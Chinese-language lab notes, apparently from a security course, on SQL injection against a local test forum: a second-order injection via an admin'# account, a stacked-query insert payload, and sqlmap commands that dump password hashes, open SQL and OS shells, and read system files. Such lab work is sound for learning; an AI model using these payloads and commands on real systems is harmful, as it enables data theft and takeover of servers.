2-03SQL注入漏洞------------2

二次盲注

⼆次注⼊是指已存储(数据库、⽂件)的⽤户输⼊被读取后,再次进⼊到SQL查询语句中导致 的注⼊

几乎所有任何网站后台都有一个用户叫admin 密码123456 先注册一个新的用户

admin-123456

碰撞用户账户

-刺探成功

我自己去注册一个 admin'#

登录admin'#,然后修改密码--记一下改后的是456789

-这是之前 刷新后,改变的是admin的密码,admin'#没有变

查看原因

源码 \bbs\member\updatePwd.php

bash 复制代码
update users set password=md5('123456')wherename='admin'#'

简单来说就是sql的数据库语法 注释掉后面的内容 比如# 还有一个--也是

堆叠注入

在SQL数据库中,每条语句是以;分开的,堆叠注⼊就是⼀次性注⼊并执⾏多条语句(多语句之间以分号 隔开)的注⼊⽅式。(故事:地铁出站套票⼀次性进两个⼈)

union联合查询注⼊执⾏的语句类型是有限的,可以⽤来执⾏查询语句。堆叠注⼊可以执⾏的是任意的语句,如增删改等

要堆叠,知道那个表结构用前面知识点获取表名字段名

然后

sql 复制代码
?id=2;insert into users (name,password) values('ddd',md5('ddd'));

堆叠不止 insert 还有delete 还有update

SQLMap

sqlmap是⼀个开源的渗透测试⼯具,它可以⾃动化检测和利⽤SQL注⼊漏洞并接管数据库服务器。它有 ⼀个强⼤的检测引擎,许多适合于终极渗透测试的良好特性和众多的操作选项 如果平时要探测bbs这个网站 这不得看看自己物理机ip

##SQLMap检测漏洞--探测目标网站有没有sql注入漏洞

kali 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1'

有这些东西 就代表着这些东西漏洞都是存在的--PHP具体版本 Apache

查询bbs网站当前数据库;当前数据库 --current-db

kali 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' --current-db

查看bbs网站的库有哪些表

kali 复制代码
sqlmap -u 'http://192.168.220.1/bbs/showmessage.php?id=1' -D jrlt --tables

当前表有哪些字段 列

kali 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' -D jrlt -T users --columns

列出内容

kali 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' -D jrlt -T users -C password --dump#卡住的话不停的敲回⻋输⼊y

过程就是y到底,有一个选择字典,直接回车就行,然后在努力哈希破解

和老师的不太一样 但是 无所谓了先 得到那些密码

可以后期自己哈希解去 第三个解的很慢是因为我前面 做堆叠的时候改了admin的密码456789

老师的就长这样

扩展操作

lua 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' --sql-shell

退出语句

密码爆破

lua 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' --password

系统命令

lua 复制代码
sqlmap -u 'http://192.168.20.1/bbs/showmessage.php?id=1' --os-shell

该靶机的 web 应用技术是PHP 5.4.45,选择与当前 web 语言匹配的 "PHP" 选项,才能成功创建 web 后门并获取操作系统命令行 shell。

文件读取

出了问题

成功版本👇我把这个文件名称改了一下就行了,疑似第一次创的时候带入了奇怪字符或者电脑缓存没到位

arduino 复制代码
sqlmap -u "http://192.168.20.1/bbs/showmessage.php?id=1" --file-read "E:/e.txt"

中间做的努力有

先执行基础注入命令,确认id参数确实存在 SQL 注入漏洞,避免在无效注入点上尝试高权限操作

lua 复制代码
sqlmap -u "http://192.168.20.1/bbs/showmessage.php?id=1" --dbs

然后得出

添加-v 3参数(详细输出执行过程),sqlmap 会显示文件读取过程中的具体错误(如「权限不足」「路径被禁止」),方便定位问题

arduino 复制代码
sqlmap -u "http://192.168.20.1/bbs/showmessage.php?id=1" --file-read "E:/e.txt" -v 3

得出

放弃自定义的e.txt,先尝试读取靶机系统默认存在、且权限宽松的文件,验证文件读取功能是否可用:

bash 复制代码
sqlmap -u "http://192.168.20.1/bbs/showmessage.php?id=1" --file-read "C:/Windows/win.ini"

文件读取功能本身是正常的(因为成功读到了C:/Windows/win.ini),问题只出在「靶机上的E:/e.txt实际不存在 / 路径错误」

具体分析如下: 能成功读取靶机的C:/Windows/win.ini,说明:

  • 数据库用户有FILE权限
  • secure_file_priv配置无限制
  • 操作系统层面的文件读取权限正常 所以改了个名字成功了

回归主题

返回让我访问这个文件的内容

'/root/.local/share/sqlmap/output/192.168.20.1/files/E__test.txt'

文件路径有了

bash 复制代码
cat '/root/.local/share/sqlmap/output/192.168.20.1/files/E__test.txt' 

WAF安全狗

不要再物理机上装安全狗,会拖垮php, 卸载不掉就先这样吧

相关推荐
a努力。5 小时前
字节跳动Java面试被问:一致性哈希的虚拟节点和数据迁移
java·开发语言·分布式·算法·缓存·面试·哈希算法
五花肉.6 小时前
C#面试核心考点和回答要点
面试·c#
a努力。7 小时前
中国电网Java面试被问:Dubbo的服务目录和路由链实现
java·开发语言·jvm·后端·面试·职场和发展·dubbo
缘来是黎7 小时前
运维面试场景题——故障排查与解决
运维·面试·职场和发展
阿蒙Amon9 小时前
C#每日面试题-Dictionary和Hashtable的区别
java·面试·c#
张元清10 小时前
浏览器硬导航优化:提升用户体验的关键
前端·javascript·面试
缘来是黎10 小时前
运维面试场景题——系统与性能优化
面试·职场和发展·性能优化
Lazy_zheng11 小时前
一文搞懂 JavaScript 数据类型转换(显式 & 隐式全解析)
前端·javascript·面试
阿蒙Amon11 小时前
C#每日面试题-简述命名空间和程序集
java·面试·c#